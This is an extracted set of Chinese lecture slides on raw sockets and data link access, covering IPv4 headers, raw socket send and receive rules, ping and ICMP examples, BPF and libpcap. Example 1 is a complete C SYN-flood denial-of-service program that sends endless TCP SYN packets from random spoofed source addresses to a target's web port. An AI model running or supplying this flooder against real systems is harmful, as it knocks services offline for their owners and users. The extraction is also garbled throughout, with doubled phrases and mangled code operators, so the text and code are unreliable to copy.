




版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡介
1、第13章 原始套接字與數(shù)據(jù)鏈路訪問編程IPv4數(shù)據(jù)報(bào)格式:首部長度是以32位(即4字節(jié))為單位;16位的標(biāo)識(shí)用于分片和重組;DF位(不分片);MF(還有片段);協(xié)議字段表示封裝在IP報(bào)文中的上層協(xié)議,典型的有:ICMP(1)、IGMP(2)、TCP(6)、UDP(17);頭部校驗(yàn)和只對IP頭部(包括選項(xiàng))計(jì)算,校驗(yàn)算法是標(biāo)準(zhǔn)的因特網(wǎng)校驗(yàn)和算法,即簡單的16位反碼求和。版本總長度(字節(jié)長度)標(biāo)識(shí)片段偏移首部長度服務(wù)類型0DFMF存活時(shí)間(TTL)頭部校驗(yàn)和協(xié)議32位源地址32位目的地址選項(xiàng)(如果有的話)數(shù)據(jù)首部數(shù)據(jù)0371531IP數(shù)據(jù)報(bào)分片例子nIP數(shù)據(jù)報(bào)是指指I P 層端到端的傳輸單元(在分
2、片之前和重新組裝之后),分組是指在I P 層和鏈路層之間傳送的數(shù)據(jù)單元。n需要重申的是,任何傳輸層首部只出現(xiàn)在第1 片數(shù)據(jù)中。原始套接字(概述)n原始套接字提供了一些使用原始套接字提供了一些使用tcp和和udp協(xié)議不能實(shí)協(xié)議不能實(shí)現(xiàn)的功能,如:現(xiàn)的功能,如:n使用原始套接字可以讀寫使用原始套接字可以讀寫ICMPv4、IGMPv4分組。分組。如如Ping程序,程序,mroute程序等;程序等;n使用原始套接字可以讀些特殊的使用原始套接字可以讀些特殊的IPv4數(shù)據(jù)包,內(nèi)核不數(shù)據(jù)包,內(nèi)核不處理這些數(shù)據(jù)報(bào)的處理這些數(shù)據(jù)報(bào)的IPv4協(xié)議字段。如大多數(shù)內(nèi)核只處理協(xié)議字段。如大多數(shù)內(nèi)核只處理ICMP、IGM
3、P、TCP、UDP的數(shù)據(jù)報(bào)。但協(xié)議字段還的數(shù)據(jù)報(bào)。但協(xié)議字段還可以為其他值,如可以為其他值,如OSPF直接使用直接使用IP協(xié)議,將協(xié)議,將IP數(shù)據(jù)報(bào)數(shù)據(jù)報(bào)的協(xié)議字段設(shè)為的協(xié)議字段設(shè)為89,此時(shí),就必須有專門的程序通過原,此時(shí),就必須有專門的程序通過原始套接字來處理它們;始套接字來處理它們;n利用原始套接字還可以創(chuàng)建自定義的利用原始套接字還可以創(chuàng)建自定義的IP數(shù)據(jù)報(bào)首部,編數(shù)據(jù)報(bào)首部,編寫基于寫基于IP協(xié)議的高層網(wǎng)絡(luò)協(xié)議。協(xié)議的高層網(wǎng)絡(luò)協(xié)議。原始套接字創(chuàng)建原始套接字創(chuàng)建#include #include int socket(AF_INET, SOCK_RAW, int protocol);np
4、rotocol參數(shù)一般不能為參數(shù)一般不能為0,如:,如:IPPROTO_ICMP。另外,只有超。另外,只有超級(jí)用戶才能創(chuàng)建原始套接字。級(jí)用戶才能創(chuàng)建原始套接字。n用戶可以通過設(shè)置用戶可以通過設(shè)置IP_HDRINCL選項(xiàng)來編寫自己的選項(xiàng)來編寫自己的IP數(shù)據(jù)報(bào)首部:數(shù)據(jù)報(bào)首部:const int on = 1;setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on);n可以調(diào)用可以調(diào)用bind函數(shù)綁定原始套接字的本地函數(shù)綁定原始套接字的本地IP地址,此時(shí),所有輸出的地址,此時(shí),所有輸出的數(shù)據(jù)報(bào)將用到源數(shù)據(jù)報(bào)將用到源IP地址(僅當(dāng)?shù)?/p>
5、址(僅當(dāng)IP_HDRINCL未設(shè)置時(shí));如果不調(diào)未設(shè)置時(shí));如果不調(diào)用用bind函數(shù),由內(nèi)核將源函數(shù),由內(nèi)核將源IP地址設(shè)成外出接口的主地址設(shè)成外出接口的主IP地址;地址;n可以調(diào)用可以調(diào)用connect函數(shù)設(shè)置數(shù)據(jù)報(bào)的目的地址(注意并不需要真正的連函數(shù)設(shè)置數(shù)據(jù)報(bào)的目的地址(注意并不需要真正的連接)。此后,可直接調(diào)用接)。此后,可直接調(diào)用write或或send。n注意:注意:bind和和connect時(shí),端口已經(jīng)沒有意義了。時(shí),端口已經(jīng)沒有意義了。通過原始套接字發(fā)送數(shù)據(jù)報(bào)通過原始套接字發(fā)送數(shù)據(jù)報(bào)n原始套接字的輸出遵循以下規(guī)則:原始套接字的輸出遵循以下規(guī)則:n如果套接字已經(jīng)連接,可以調(diào)用如果套接
6、字已經(jīng)連接,可以調(diào)用write、writev、send來發(fā)送數(shù)來發(fā)送數(shù)據(jù),否則需要調(diào)用據(jù),否則需要調(diào)用sendto或或sendmsg;n如果如果IP_HDRINCL選項(xiàng)未設(shè)置,則內(nèi)核寫的數(shù)據(jù)起始地址指選項(xiàng)未設(shè)置,則內(nèi)核寫的數(shù)據(jù)起始地址指IP頭部之后的第一個(gè)字節(jié)。因?yàn)檫@種情況下,內(nèi)核構(gòu)造頭部之后的第一個(gè)字節(jié)。因?yàn)檫@種情況下,內(nèi)核構(gòu)造IP頭部,并頭部,并將它安在來自進(jìn)程的數(shù)據(jù)之前。內(nèi)核將將它安在來自進(jìn)程的數(shù)據(jù)之前。內(nèi)核將IPv4頭部的協(xié)議字段設(shè)置頭部的協(xié)議字段設(shè)置成用戶在調(diào)用成用戶在調(diào)用socket函數(shù)所給的第三個(gè)參數(shù);函數(shù)所給的第三個(gè)參數(shù);n如果設(shè)置了如果設(shè)置了IP_HDRINCL,則內(nèi)核寫的數(shù)
7、據(jù)起始地址指,則內(nèi)核寫的數(shù)據(jù)起始地址指IP頭部頭部的第一個(gè)字節(jié)。用戶所提供的數(shù)據(jù)大小值必須包括頭部的字節(jié)數(shù)。的第一個(gè)字節(jié)。用戶所提供的數(shù)據(jù)大小值必須包括頭部的字節(jié)數(shù)。此時(shí)進(jìn)程構(gòu)造除了以下兩項(xiàng)外的整個(gè)此時(shí)進(jìn)程構(gòu)造除了以下兩項(xiàng)外的整個(gè)IP頭部;(頭部;(a)IPv4標(biāo)識(shí)字標(biāo)識(shí)字段可以設(shè)為段可以設(shè)為0,要求內(nèi)核設(shè)置該值;(,要求內(nèi)核設(shè)置該值;(b)IPv4頭部校驗(yàn)和由內(nèi)核頭部校驗(yàn)和由內(nèi)核來計(jì)算和存儲(chǔ)。來計(jì)算和存儲(chǔ)。IPv4數(shù)據(jù)報(bào)首部各個(gè)字段的內(nèi)容均是網(wǎng)絡(luò)字節(jié)序數(shù)據(jù)報(bào)首部各個(gè)字段的內(nèi)容均是網(wǎng)絡(luò)字節(jié)序(對(對linux而言)而言)n對于超出外出接口的對于超出外出接口的MTU的分組,內(nèi)核將其分片。的分組,
8、內(nèi)核將其分片。通過原始套接字接收數(shù)據(jù)報(bào)通過原始套接字接收數(shù)據(jù)報(bào)n內(nèi)核通過原始套接字接收數(shù)據(jù)報(bào),遵循以下規(guī)則:內(nèi)核通過原始套接字接收數(shù)據(jù)報(bào),遵循以下規(guī)則:n接收到的接收到的tcp和和udp分組決不會(huì)傳遞給原始套接字,如果一個(gè)進(jìn)程分組決不會(huì)傳遞給原始套接字,如果一個(gè)進(jìn)程希望讀取包含希望讀取包含tcp或或udp分組的分組的IP數(shù)據(jù)報(bào),那么它們必須在數(shù)據(jù)鏈數(shù)據(jù)報(bào),那么它們必須在數(shù)據(jù)鏈路層讀入;路層讀入;n當(dāng)內(nèi)核處理完當(dāng)內(nèi)核處理完ICMP消息后,絕大部分消息后,絕大部分ICMP分組將傳遞給原始套分組將傳遞給原始套接字。對源自接字。對源自Berkeley的實(shí)現(xiàn),除了回射請求、時(shí)間戳請求和地的實(shí)現(xiàn),除了回射
9、請求、時(shí)間戳請求和地址掩碼請求將完全由內(nèi)核處理以外,所有收到的址掩碼請求將完全由內(nèi)核處理以外,所有收到的ICMP分組將傳遞分組將傳遞給某個(gè)原始套接口;給某個(gè)原始套接口;n當(dāng)內(nèi)核處理完當(dāng)內(nèi)核處理完IGMP消息后,所有消息后,所有IGMP分組都將傳遞給某個(gè)原始分組都將傳遞給某個(gè)原始套接字;套接字;n所有帶有內(nèi)核不能識(shí)別的協(xié)議字段的所有帶有內(nèi)核不能識(shí)別的協(xié)議字段的IP數(shù)據(jù)報(bào)都將傳遞給某個(gè)原始數(shù)據(jù)報(bào)都將傳遞給某個(gè)原始套接字。套接字。n如果數(shù)據(jù)報(bào)以分片形式到達(dá),則該分組將在所有片段到達(dá)并重組后如果數(shù)據(jù)報(bào)以分片形式到達(dá),則該分組將在所有片段到達(dá)并重組后才傳給原始套接字。才傳給原始套接字。通過原始套接字接收
10、數(shù)據(jù)報(bào)(續(xù))通過原始套接字接收數(shù)據(jù)報(bào)(續(xù))n在將一個(gè)在將一個(gè)IP數(shù)據(jù)報(bào)傳遞給某個(gè)套接字之前,內(nèi)核需要選擇數(shù)據(jù)報(bào)傳遞給某個(gè)套接字之前,內(nèi)核需要選擇匹配的原始套接字:匹配的原始套接字:n如果在創(chuàng)建原始套接字時(shí),所指定的如果在創(chuàng)建原始套接字時(shí),所指定的protocolprotocol參數(shù)不為參數(shù)不為0 0,則接收到,則接收到的數(shù)據(jù)包的協(xié)議字段應(yīng)與該值匹配,否則該數(shù)據(jù)報(bào)將不傳遞給該套的數(shù)據(jù)包的協(xié)議字段應(yīng)與該值匹配,否則該數(shù)據(jù)報(bào)將不傳遞給該套接字;接字;n如果此原始套接字之上綁定了一個(gè)本地如果此原始套接字之上綁定了一個(gè)本地IPIP地址,那么接收到的數(shù)據(jù)報(bào)地址,那么接收到的數(shù)據(jù)報(bào)的目的的目的IPIP地址應(yīng)
11、與該綁定地址相匹配,否則該數(shù)據(jù)報(bào)將不傳遞給該套地址應(yīng)與該綁定地址相匹配,否則該數(shù)據(jù)報(bào)將不傳遞給該套接字;接字;n如果此原始套接字通過調(diào)用如果此原始套接字通過調(diào)用connectconnect指定了一個(gè)對方的指定了一個(gè)對方的IPIP地址,那么地址,那么接收到的數(shù)據(jù)報(bào)的源接收到的數(shù)據(jù)報(bào)的源IPIP地址應(yīng)與該已連接地址相匹配,否則該數(shù)據(jù)報(bào)地址應(yīng)與該已連接地址相匹配,否則該數(shù)據(jù)報(bào)將不傳遞給該套接字。將不傳遞給該套接字。n如果一個(gè)原始套接字以如果一個(gè)原始套接字以protocolprotocol參數(shù)為參數(shù)為0 0的方式創(chuàng)建,而且未調(diào)用的方式創(chuàng)建,而且未調(diào)用bindbind或或connectconnect,那
12、么對于內(nèi)核傳遞給原始套接字的每一個(gè)原始數(shù)據(jù),那么對于內(nèi)核傳遞給原始套接字的每一個(gè)原始數(shù)據(jù)報(bào),該套接字都會(huì)收到一份拷貝;報(bào),該套接字都會(huì)收到一份拷貝;n當(dāng)接收到的數(shù)據(jù)報(bào)傳遞給當(dāng)接收到的數(shù)據(jù)報(bào)傳遞給IPv4IPv4原始套接字時(shí),整個(gè)數(shù)據(jù)報(bào)(包括原始套接字時(shí),整個(gè)數(shù)據(jù)報(bào)(包括IPIP頭頭部)都將傳遞給進(jìn)程。而對于部)都將傳遞給進(jìn)程。而對于IPv6IPv6,則將去除擴(kuò)展頭部。,則將去除擴(kuò)展頭部。例1、DOS攻擊(拒絕服務(wù)攻擊)n拒絕服務(wù)攻擊原理:畫圖源程序源程序Dos.c:#include #include #include #include #include #include #include #i
13、nclude #define DESTPORT 80 /*要攻擊的端口要攻擊的端口(WEB)*/#define LOCALPORT 8888void send_tcp(int sockfd,struct sockaddr_in *addr);unsigned short check_sum(unsigned short *addr,int len);int main(int argc,char *argv) int sockfd; struct sockaddr_in addr; int on; on=1; if(argc!=2) fprintf(stderr,Usage:%sIPna,arg
14、v0); exit(1); bzero(&addr,sizeof(struct sockaddr_in); addr.sin_family=AF_INET; addr.sin_port=htons(DESTPORT); inet_aton(argv1,&addr.sin_addr); /* * 使用使用IPPROTO_TCP創(chuàng)建一個(gè)創(chuàng)建一個(gè)TCP的原始套接的原始套接*/ sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); if(sockfdip_v=IPVERSION;/*版本一般的是版本一般的是4*/ ip-ip_hl=sizeof(st
15、ruct ip)2;/*IP數(shù)據(jù)包的頭部長度數(shù)據(jù)包的頭部長度*/ ip-ip_tos=0;/*服務(wù)類型服務(wù)類型*/ ip-ip_len=htons(head_len);/*IP數(shù)據(jù)包的長度數(shù)據(jù)包的長度*/ ip-ip_id=0;/*讓系統(tǒng)去填寫吧讓系統(tǒng)去填寫吧*/ ip-ip_off=0;/*和上面一樣和上面一樣,省點(diǎn)時(shí)間省點(diǎn)時(shí)間*/ ip-ip_ttl=MAXTTL; /*最長的時(shí)間最長的時(shí)間255*/ ip-ip_p=IPPROTO_TCP;/*我們要發(fā)的是我們要發(fā)的是TCP包包*/ ip-ip_sum=0;/*校驗(yàn)和讓系統(tǒng)去做校驗(yàn)和讓系統(tǒng)去做*/ ip-ip_dst=addr-sin_a
16、ddr;/*我們攻擊的對象我們攻擊的對象*/ printf(dest address is %sn,inet_ntoa(addr-sin_addr);/*開始填寫開始填寫TCP數(shù)據(jù)包數(shù)據(jù)包*/ tcp=(struct tcphdr *)(buffer+sizeof(struct ip); tcp-source=htons(LOCALPORT); tcp-dest=addr-sin_port;/*目的端口目的端口*/ tcp-seq=random(); tcp-ack_seq=0; tcp-doff=5; tcp-syn=1;/*我要建立連接我要建立連接*/ tcp-check=0;/*好了好了
17、,一切都準(zhǔn)備好了一切都準(zhǔn)備好了.服務(wù)器服務(wù)器,你準(zhǔn)備好了沒有你準(zhǔn)備好了沒有*/while(1) /*你不知道我是從那里來的你不知道我是從那里來的,慢慢的去等吧慢慢的去等吧!*/ ip-ip_src.s_addr=random(); printf(addr is%dn,ip-ip_src.s_addr); sendto(sockfd,buffer,head_len,0,(struct sockaddr *)addr,sizeof(struct sockaddr); 程序運(yùn)行權(quán)限n通常情況下,有效用戶通常情況下,有效用戶ID等于實(shí)際用戶等于實(shí)際用戶ID,有效組,有效組ID等等于實(shí)際組于實(shí)際組ID;
18、n文件方式字中有一個(gè)特殊標(biāo)志,定義為文件方式字中有一個(gè)特殊標(biāo)志,定義為“當(dāng)執(zhí)行此文件時(shí)當(dāng)執(zhí)行此文件時(shí)將進(jìn)程的有效用戶將進(jìn)程的有效用戶ID設(shè)置為文件的所有者設(shè)置為文件的所有者”,與此類似,與此類似,組組ID也有類似的情況。這兩位稱為:設(shè)置用戶也有類似的情況。這兩位稱為:設(shè)置用戶ID和和設(shè)置組設(shè)置組ID。n對于本程序要求:普通用戶能執(zhí)行該程序,但該程序又要對于本程序要求:普通用戶能執(zhí)行該程序,但該程序又要求要具有超級(jí)用戶權(quán)限,因此:需要將該可執(zhí)行程序的所求要具有超級(jí)用戶權(quán)限,因此:需要將該可執(zhí)行程序的所有者設(shè)置為超級(jí)用戶,并設(shè)置其有者設(shè)置為超級(jí)用戶,并設(shè)置其“設(shè)置設(shè)置-用戶用戶-ID”標(biāo)志,標(biāo)志,
19、方法是:方法是:程序運(yùn)行結(jié)果程序運(yùn)行結(jié)果例2:給本機(jī)發(fā)送一個(gè)ICMP報(bào)文,然后接收回復(fù)。/ip.h#ifndef _IP_H#define _IP_H#include #include #include #include #include #include #include #include #include #include #define PACKET_SIZE 4096#define MAX_WAIT_TIME 5#define DEST_ADDR 222.18.113.171extern int errno;char sendpacketPACKET_SIZE;char recvpac
20、ketPACKET_SIZE;int sockfd,datalen=56;struct sockaddr_in dest_addr;void send_packet();void recv_packet();unsigned short cal_chksum(unsigned short * addr,int len);void showiphdr(struct ip *ip);void onTerm();#endif/Ip.c#include ip.hint main(int argc,char *argv)struct hostent *host;struct protoent *prot
21、ocol;unsigned long inaddr=0L;if(protocol=getprotobyname(icmp)=NULL) perror(unknow protocol icmp); exit(1);if(sockfd=socket(AF_INET,SOCK_RAW,protocol-p_proto)icmp_type=ICMP_ECHO;icmp-icmp_code=0;icmp-icmp_cksum=0;icmp-icmp_id=getpid();icmp-icmp_seq=1;packetsize=8+datalen; /數(shù)據(jù)包的大小數(shù)據(jù)包的大小icmp-icmp_cksum
22、=cal_chksum(unsigned short*)icmp,packetsize);if(sendto(sockfd,sendpacket,packetsize,0,(struct sockaddr*)&dest_addr,sizeof(dest_addr)1) sum+=*w+; nleft-=2;if(nleft=1) *(unsigned char*)(&answer)=*(unsigned char*)w; sum+=answer;sum=(sum16)+(sum&0 xffff);sum+=(sum16);answer=sum;return answer
23、;void recv_packet() int n,fromlen,packet_no; struct sockaddr_in from; struct ip *ip; struct icmp *icmp; signal(SIGALRM,onTerm); while(1) fromlen=sizeof(from); alarm(MAX_WAIT_TIME); if(n=recvfrom(sockfd,recvpacket,sizeof(recvpacket),0,(struct sockaddr*)&from,&fromlen)ip_hl);icmp=(struct icmp*
24、)(recvpacket+4*ip-ip_hl);/取取ICMP報(bào)頭報(bào)頭printf(ICMP TYPE=%dn,icmp-icmp_type); void showiphdr(struct ip *ip)printf(-IP HEADER-n);printf(version:%dn,ip-ip_v);printf(header length:%dn,ip-ip_hl);printf(type of service:%dn,ip-ip_tos);printf(total length:%dn,ip-ip_len);printf(identification:%dn,ip-ip_id);prin
25、tf(fragment offset field:%dn,ip-ip_off);printf(time to live:%dn,ip-ip_ttl);printf(protocol:%dn,ip-ip_p);/*printf(checksum:%sn,ip-ip_sum );*/printf(source IP address:%sn,inet_ntoa(ip-ip_src);printf(destination IP address:%sn,inet_ntoa(ip-ip_dst);void onTerm()close(sockfd);exit(0);運(yùn)行結(jié)果收到了兩個(gè)ICMP報(bào)文,一個(gè)是由
26、程序發(fā)送的,另一個(gè)是系統(tǒng)回復(fù)的。例3:ping程序#include #include #include #include #include #include #include #include #include #include #include #include #define PACKET_SIZE 4096#define MAX_WAIT_TIME 5#define MAX_NO_PACKETS 3char sendpacketPACKET_SIZE;char recvpacketPACKET_SIZE;int sockfd,datalen=56;int nsend=0,nreceive
27、d=0;struct sockaddr_in dest_addr;pid_t pid;struct sockaddr_in from;struct timeval tvrecv;void statistics(int signo);unsigned short cal_chksum(unsigned short *addr,int len);int pack(int pack_no);void send_packet(void);void recv_packet(void);int unpack(char *buf,int len);void tv_sub(struct timeval *ou
28、t,struct timeval *in);void statistics(int signo) printf(n-PING statistics-n); printf(%d packets transmitted, %d received , %d lostn,nsend,nreceived, (nsend-nreceived)/nsend*100); close(sockfd); exit(1);/*校驗(yàn)和算法校驗(yàn)和算法*/unsigned short cal_chksum(unsigned short *addr,int len) int nleft=len; int sum=0; un
29、signed short *w=addr; unsigned short answer=0;/*把把ICMP報(bào)頭二進(jìn)制數(shù)據(jù)以報(bào)頭二進(jìn)制數(shù)據(jù)以2字節(jié)為單位累加起來字節(jié)為單位累加起來*/ while(nleft1) sum+=*w+; nleft-=2; /*若若ICMP報(bào)頭為奇數(shù)個(gè)字節(jié),會(huì)剩下最后一字節(jié)。把最后一個(gè)字節(jié)視為一個(gè)報(bào)頭為奇數(shù)個(gè)字節(jié),會(huì)剩下最后一字節(jié)。把最后一個(gè)字節(jié)視為一個(gè)2字節(jié)數(shù)據(jù)的高字節(jié),這個(gè)字節(jié)數(shù)據(jù)的高字節(jié),這個(gè)2字節(jié)數(shù)據(jù)字節(jié)數(shù)據(jù)的低字節(jié)為的低字節(jié)為0,繼續(xù)累加,繼續(xù)累加*/ if( nleft=1) *(unsigned char *)(&answer)=*(unsig
30、ned char *)w; sum+=answer; sum=(sum16)+(sum&0 xffff); sum+=(sum16); answer=sum; return answer;/*設(shè)置設(shè)置ICMP報(bào)頭報(bào)頭*/int pack(int pack_no) int i,packsize; struct icmp *icmp; struct timeval *tval; icmp=(struct icmp*)sendpacket; icmp-icmp_type=ICMP_ECHO; icmp-icmp_code=0; icmp-icmp_cksum=0; icmp-icmp_seq
31、=pack_no; icmp-icmp_id=pid;packsize=8+datalen; tval= (struct timeval *)icmp-icmp_data; gettimeofday(tval,NULL); /*記錄發(fā)送時(shí)間記錄發(fā)送時(shí)間*/ icmp-icmp_cksum=cal_chksum( (unsigned short *)icmp,packsize); /*校驗(yàn)算法校驗(yàn)算法*/ return packsize;/*發(fā)送三個(gè)發(fā)送三個(gè)ICMP報(bào)文報(bào)文*/void send_packet() int packetsize; while( nsendMAX_NO_PACKET
32、S) nsend+; packetsize=pack(nsend); /*設(shè)置設(shè)置ICMP報(bào)頭報(bào)頭*/ if( sendto(sockfd,sendpacket,packetsize,0, (struct sockaddr *)&dest_addr,sizeof(dest_addr) )0 ) perror(sendto error); continue; sleep(1); /*每隔一秒發(fā)送一個(gè)每隔一秒發(fā)送一個(gè)ICMP報(bào)文報(bào)文*/ /*接收所有接收所有ICMP報(bào)文報(bào)文*/void recv_packet() int n,fromlen; extern int errno; signa
33、l(SIGALRM,statistics); fromlen=sizeof(from); while( nreceived10) alarm(MAX_WAIT_TIME); if( (n=recvfrom(sockfd,recvpacket,sizeof(recvpacket),0,(struct sockaddr *)&from,&fromlen) ip_hl)*4; /*求求ip報(bào)頭長度報(bào)頭長度,即即ip報(bào)頭的長度標(biāo)志乘報(bào)頭的長度標(biāo)志乘4*/ icmp=(struct icmp *)(buf+iphdrlen); /*越過越過ip報(bào)頭報(bào)頭,指向指向ICMP報(bào)頭報(bào)頭*/ le
34、n-=iphdrlen; /*ICMP報(bào)頭及報(bào)頭及ICMP數(shù)據(jù)報(bào)的總長度數(shù)據(jù)報(bào)的總長度*/ if( lenicmp_type=ICMP_ECHOREPLY) & (icmp-icmp_id=pid) ) tvsend=(struct timeval *)icmp-icmp_data; tv_sub(&tvrecv,tvsend); /*接收和發(fā)送的時(shí)間差接收和發(fā)送的時(shí)間差*/ rtt=tvrecv.tv_sec*1000+tvrecv.tv_usec/1000; /*以毫秒為單位計(jì)算以毫秒為單位計(jì)算rtt*/ /*顯示相關(guān)信息顯示相關(guān)信息*/ printf(%d byte fr
35、om %s: icmp_seq=%u ttl=%d rtt=%.3f msn, len, inet_ntoa(from.sin_addr), icmp-icmp_seq, ip-ip_ttl, rtt); else return -1;main(int argc,char *argv) struct hostent *host; struct protoent *protocol; unsigned long inaddr=0l;int waittime=MAX_WAIT_TIME; int size=50*1024; if(argcp_proto) )h_addr); pid=getpid(
36、);printf(PING %s(%s): %d bytes data in ICMP packets.n,argv1, inet_ntoa(dest_addr.sin_addr),datalen); send_packet(); /*發(fā)送所有發(fā)送所有ICMP報(bào)文報(bào)文*/ recv_packet(); /*接收所有接收所有ICMP報(bào)文報(bào)文*/ statistics(SIGALRM); /*進(jìn)行統(tǒng)計(jì)進(jìn)行統(tǒng)計(jì)*/ return 0;/*兩個(gè)兩個(gè)timeval結(jié)構(gòu)相減結(jié)構(gòu)相減*/void tv_sub(struct timeval *out,struct timeval *in) if( (out-
37、tv_usec-=in-tv_usec)tv_sec; out-tv_usec+=1000000; out-tv_sec-=in-tv_sec;/*- The End -*/運(yùn)行結(jié)果:數(shù)據(jù)鏈路訪問數(shù)據(jù)鏈路訪問n目前大多數(shù)操作系統(tǒng)都為應(yīng)用程序提供了訪問數(shù)據(jù)目前大多數(shù)操作系統(tǒng)都為應(yīng)用程序提供了訪問數(shù)據(jù)鏈路層的手段,它具有以下功能:鏈路層的手段,它具有以下功能:n監(jiān)視數(shù)據(jù)鏈路層所收到的分組,這使得我們可以在計(jì)算監(jiān)視數(shù)據(jù)鏈路層所收到的分組,這使得我們可以在計(jì)算機(jī)上通過像機(jī)上通過像tcpdumptcpdump這樣的程序來監(jiān)視網(wǎng)絡(luò),而無需使用這樣的程序來監(jiān)視網(wǎng)絡(luò),而無需使用特殊的硬件設(shè)備。如果結(jié)合使用網(wǎng)絡(luò)
38、接口的混雜模式,特殊的硬件設(shè)備。如果結(jié)合使用網(wǎng)絡(luò)接口的混雜模式,甚至可以偵聽本地電纜上的所有分組,而不只是以程序甚至可以偵聽本地電纜上的所有分組,而不只是以程序運(yùn)行所在主機(jī)為目的的分組。運(yùn)行所在主機(jī)為目的的分組。n作為普通應(yīng)用進(jìn)程而不是內(nèi)核的一部分運(yùn)行某些程序。作為普通應(yīng)用進(jìn)程而不是內(nèi)核的一部分運(yùn)行某些程序。例如,大多數(shù)例如,大多數(shù)UnixUnix系統(tǒng)的系統(tǒng)的RARPRARP服務(wù)器是普通的應(yīng)用進(jìn)程,服務(wù)器是普通的應(yīng)用進(jìn)程,它們從數(shù)據(jù)鏈路讀取它們從數(shù)據(jù)鏈路讀取RARPRARP請求,并把應(yīng)答寫回?cái)?shù)據(jù)鏈路。請求,并把應(yīng)答寫回?cái)?shù)據(jù)鏈路。數(shù)據(jù)鏈路層訪問方法數(shù)據(jù)鏈路層訪問方法nBSD系統(tǒng)提供的系統(tǒng)提供的B
39、PF分組過濾器分組過濾器nSVR4的數(shù)據(jù)鏈路提供者接口的數(shù)據(jù)鏈路提供者接口DLPInLinux系統(tǒng)的系統(tǒng)的SOCK_PACKET接口接口n數(shù)據(jù)報(bào)捕獲函數(shù)庫數(shù)據(jù)報(bào)捕獲函數(shù)庫libpcap。BPF分組過濾器應(yīng)用進(jìn)程緩沖區(qū)過濾器應(yīng)用進(jìn)程緩沖區(qū)過濾器BPFIPv4IPv6數(shù)據(jù)鏈路收到的分組的拷貝發(fā)出的分組的拷貝進(jìn)程內(nèi)核緩沖區(qū)緩沖區(qū)BPF分組過濾器n因?yàn)橐驗(yàn)锽PF過濾器需要對每個(gè)收到的報(bào)文進(jìn)行過濾器需要對每個(gè)收到的報(bào)文進(jìn)行過濾,因此性能就至為重要了,過濾,因此性能就至為重要了,BPF采用三采用三種技術(shù)減少開銷:種技術(shù)減少開銷:nBPF的過濾由內(nèi)核完成,過濾后的分組才拷貝給的過濾由內(nèi)核完成,過濾后的分組才
40、拷貝給應(yīng)用程序。應(yīng)用程序。n每個(gè)分組只有部分?jǐn)?shù)據(jù)由每個(gè)分組只有部分?jǐn)?shù)據(jù)由BPF傳遞給應(yīng)用程序,傳遞給應(yīng)用程序,因?yàn)榇蠖鄶?shù)應(yīng)用程序只需要監(jiān)控分組頭部。例如因?yàn)榇蠖鄶?shù)應(yīng)用程序只需要監(jiān)控分組頭部。例如tcpdump將捕獲分組長度缺省設(shè)置為將捕獲分組長度缺省設(shè)置為68字節(jié)(以字節(jié)(以太網(wǎng)首部太網(wǎng)首部14+IP首部首部20+TCP首部首部20+14字節(jié)的數(shù)字節(jié)的數(shù)據(jù))據(jù))nBPF緩沖只有在已滿或超時(shí)發(fā)生才拷貝給應(yīng)用程緩沖只有在已滿或超時(shí)發(fā)生才拷貝給應(yīng)用程序。(序。(BPF采用了雙緩沖技術(shù))采用了雙緩沖技術(shù))使用DLPI、pfmod、bufmod捕獲分組應(yīng)用進(jìn)程bufmodpfmod應(yīng)用進(jìn)程bufmodp
41、fmodIPv4IPv6數(shù)據(jù)鏈路進(jìn)程內(nèi)核Linux:SOCK_PACKETn該方法需要?jiǎng)?chuàng)建該方法需要?jiǎng)?chuàng)建SOCK_PACKETSOCK_PACKET類型的套接字,類型的套接字,而且調(diào)用而且調(diào)用socketsocket的第三個(gè)參數(shù)必須是指定以太的第三個(gè)參數(shù)必須是指定以太網(wǎng)幀類型的某個(gè)非網(wǎng)幀類型的某個(gè)非0 0值,例如:值,例如:fd = socket(AF_INET, SOCKET_PACKET,htons(ETH_P_ALL);fd = socket(AF_INET, SOCKET_PACKET,htons(ETH_P_ALL);fd = socket(AF_INET, SOCKET_PACKE
42、T,htons(ETH_P_IP);fd = socket(AF_INET, SOCKET_PACKET,htons(ETH_P_IP);還可以指定為:還可以指定為:ETH_P_IPv6ETH_P_IPv6、ETH_P_ARPETH_P_ARP。n該方法不提供基于核心的緩沖和分組過濾機(jī)該方法不提供基于核心的緩沖和分組過濾機(jī)制,因此,效率較低。另外,制,因此,效率較低。另外,LinuxLinux不提供針不提供針對設(shè)備的過濾,即不能只接收來自某個(gè)指定對設(shè)備的過濾,即不能只接收來自某個(gè)指定設(shè)備的分組。設(shè)備的分組。libpcap:分組捕獲函數(shù)庫nlibpcaplibpcap是一個(gè)與實(shí)現(xiàn)無關(guān)的訪問操作系
43、統(tǒng)所是一個(gè)與實(shí)現(xiàn)無關(guān)的訪問操作系統(tǒng)所提供的分組捕獲機(jī)制的分組捕獲函數(shù)庫。目提供的分組捕獲機(jī)制的分組捕獲函數(shù)庫。目前它只支持分組的讀取。前它只支持分組的讀取。n它同時(shí)支持它同時(shí)支持BerkeleyBerkeley內(nèi)核下的內(nèi)核下的BPFBPF、Solaris Solaris 2.x2.x下的下的DLPIDLPI、SunOS4.1SunOS4.1下的下的NITNIT、LinuxLinux下的下的SOCK_PACKETSOCK_PACKET套接字以及其他若干操作系統(tǒng),套接字以及其他若干操作系統(tǒng),具有良好的兼容性。具有良好的兼容性。libpcap庫函數(shù)(1)include char *pcap_look
44、updev(char *errbuf); 返回值:成功返回網(wǎng)絡(luò)設(shè)備名指針,出錯(cuò)返回返回值:成功返回網(wǎng)絡(luò)設(shè)備名指針,出錯(cuò)返回NULL,并在并在errbuf中存儲(chǔ)錯(cuò)誤信息。中存儲(chǔ)錯(cuò)誤信息。n該函數(shù)用于返回可被該函數(shù)用于返回可被pcap_open_live()或或pcap_lookupnet()函數(shù)調(diào)用的網(wǎng)絡(luò)函數(shù)調(diào)用的網(wǎng)絡(luò)設(shè)備名指針。設(shè)備名指針。libpcap庫函數(shù)(2)include int pcap_lookupnet(char *device, bpf_u_int *netp, bpf_u_int32 *maskp, char *errbuf); 返回:出錯(cuò)返回返回:出錯(cuò)返回-1,否則,否則0
